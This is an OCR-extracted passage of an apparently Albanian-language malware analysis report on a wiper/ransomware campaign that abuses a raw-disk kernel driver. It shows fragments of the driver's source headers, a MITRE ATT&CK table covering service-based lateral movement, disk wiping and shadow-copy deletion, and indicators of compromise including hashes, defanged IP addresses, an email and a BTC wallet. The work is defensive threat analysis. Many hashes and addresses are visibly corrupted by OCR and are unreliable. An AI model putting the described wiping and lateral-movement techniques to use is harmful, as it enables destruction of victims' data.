skedaréve dhe monitorimin e antiviruseve. Kjo e bén driverin njé mjet ideal pér wiper, rootkit ose
ransomware (¢ duan té manipulojné diskun nén nivelin e sistemit t€ skedaréve.
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/ sector.c
Code Blame

= “ntddk.h”
"ntdddisk.h”
de “stdarg.h”™
de “stdio.h”™

e <ntddvol.h>

& <mountdev.h>
"wmistr.h”

= "wmidata.h”

= “wmiguid.h”

ie “wmilib.h™

ie "sector.h”

WCHAR g szDeviceName[] = L™\\Device\\sectorio”;

WCHAR g _szDosDeviceName[] = L"\\DosDevices\\sectorio”;
UNICODE_STRING szDevicelame;

UNICODE_STRING szDosDeviceName;

PDEVICE OBJECT gp DevObj = NULL;
#pragma alloc_text(INIT, DriverEntry)

NTSTATUS GetGeometry(PDEVICE_OBJECT pDiskDevObj, PDISK_GEOMETRY pDiskGeo)

Figura 74: source kodi i sectorio

Attemplting to start up from:

+ Windows Boot Mawnager... Mo Media

+ EF1 UMware Uirtual NUNE Namespace (NSID 1) ... Mo Hedia
+ EFI Floppy Mo Hedia.

+ EFT UMware Uirtual SATA CDROH Drive (1.00 ... Mo Hedia
+ EFI Netuwork...

vimware

Figura 75: Pas ekzekutimit té displ
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7. Teknika MITRE ATT&CK

Tactic Technique (ID & Name)

Explanation / Evidence

Execution T1204.002 - User Execution:
Malicious File

Sript launches the .exe

T1059.003 - Command &
Scripting Interpreter:

Executes sc.exe, Powershell
or WMI to install services

Windows Command Shell

Persistence T1543.003 - Create or Create service for rawio.sys
Modify System Process:
Windows Service

Privilege Escalation T1543.003 - Create System Kernel driver executes in
Process SYSTEM context

Defense Evasion T1036 - Masquerading Beep.sys and rawio.sys may

mimic legit drivers

T1014 - Rootkit

If driver hides activity from
AV/logs

T1222.001 - File and
Directory Permissions
Modification

May disable protections on
system files before overwrite

Lateral Movement T1569.002 - System Services:
Service Execution

Uses sc.exe \\target create or
PsExec to remotely install
and start the driver-based
service

T1077 — Windows Admin
Shares

Drops EXE/SYS over admin
shares

T1021.001 - Remote
Sercices: Remote Desktop
Protocol ( optional)

Attacker laterally moved
manyually

Impact T1485 — Data Destruction

Overwrites .exe .dll and
potentially boot-critical files

T1561.001 - Disk Wipe :

If used raw disk access to

Disk Content Wipe wipe
T1490 — Inhibit System Could delete backups,
Recovery shadow copies

8. Indikatorét e Sulmit

apps.txt
1B1503B2F6DBF1E144EEEF757EC3BC041BDFADOEF01E83690AA25F
DFA54244C2

demo.php CDEO05D068D7C971F94CAC2A6EAO0A95F6A847B2908C20636B1BF4D
58796DDB69E
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demo.txt 5121DAABB8B2E1BFBBC8B775452C9C8E24F243FEB2BASS8EF8C3F
014F6B(C4352
page-form- 28C26056EEA9507280E552EF51E292CD346491396C3262B815E888FB7

wizards.demo.p
hp

C94EB4D

page-
index.demo.php

E265A87217EBEB3D16E9908FFA9F6E52D666687995929D6181C29AC
CA7374F83

Display_10.exe

81EB22828306F3197B35FEF2035CEF2C548F587F851190285296485002
3389D7

Rawio.sys 06B7A3CD3266449294EEEFB957965EA9F1354804696955E1EB1ATF9B
515F5880

p.exe 6cedfeS5ce9e33a5fe3422464bf0c91cbfc8bbSf

IPv4 144[.1172[.187[.]1152

1Pv4 45[.]138[.]1194[.]212

1Pv4 188[.1229[.190[.]166

1Pv4 188[.1229[.166[.]237

IPv4 146[.]70[.]246[.]105

IPv6 2001:67c:e60:c0c:192:42:116:211

Email NazarioPaparella 2025@proton[.]me

BTC Wallet be1gmn9hskttji3tt66hmg0qj417sl2edzth636¢ces
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